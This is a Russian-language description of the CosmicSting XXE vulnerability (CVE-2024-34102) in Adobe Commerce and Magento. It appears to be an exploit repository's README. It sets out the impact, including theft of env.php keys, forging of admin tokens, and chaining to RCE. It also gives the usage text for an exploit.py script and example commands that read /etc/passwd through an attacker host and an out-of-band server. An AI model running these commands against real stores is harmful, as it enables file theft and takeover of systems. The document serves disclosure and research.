
CosmicSting: критическая неаутентифицированная XXE-уязвимость в Adobe Commerce и Magento (CVE-2024-34102)
CVE-2024-34102 — это серьезная уязвимость безопасности, возникающая из-за неправильной обработки вложенной десериализации в Adobe Commerce и Magento. Данная уязвимость позволяет злоумышленникам использовать внешние XML-сущности (XXE) в процессе десериализации, что потенциально может привести к удаленному выполнению кода. Проще говоря, злоумышленники могут создать вредоносные полезные нагрузки JSON, которые при десериализации приложением создают объекты с нежелательными свойствами или поведением. Это может привести к различным рискам безопасности.
Эксплуатация этой уязвимости позволяет злоумышленникам получить несанкционированный доступ администратора к REST API, GraphQL API или SOAP API, что потенциально может привести к краже данных, нарушению работы и полной компрометации затронутых систем. Эта уязвимость представляет значительный риск из-за возможности извлечения конфиденциальных файлов, таких как app/etc/env.php, содержащих криптографические ключи, используемые для аутентификации. Злоумышленники могут использовать это для подделки токенов администратора и управления API Magento в качестве привилегированных пользователей.
Более того, CVE-2024-34102 может быть объединена с другими уязвимостями, такими как эксплуатация цепочек фильтров PHP (CVE-2024-2961), что приводит к удаленному выполнению кода (RCE). Более широкие последствия уязвимостей внешних XML-сущностей (XXE) позволяют злоумышленникам извлекать и манипулировать данными из внешних источников, усугубляя потенциальное воздействие на скомпрометированные системы.
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
Exploit script for XXE vulnerability
options:
-h, --help show this help message and exit
--target TARGET, -t TARGET
Target URL (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
File to read from the remote host
--oob-server OOB_SERVER, -ob OOB_SERVER
OOB server URL (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
Host server URL (http(s)://ip[:port])
Примеры
# Run with local attacker server and local OOB server
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# Run with remote attacker server and remote OOB server
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# Detection
python3 detect.py -t https://magento.test
Этот скрипт эксплойта был создан исключительно в исследовательских целях и для разработки эффективных защитных методик. Он не предназначен для использования в каких-либо вредоносных или несанкционированных действиях. Автор и владелец скрипта снимают с себя любую ответственность за неправомерное использование или ущерб, причиненный данным программным обеспечением. Пользователям настоятельно рекомендуется использовать это программное обеспечение ответственно и только в соответствии с действующими законами и нормативными актами. Используйте ответственно.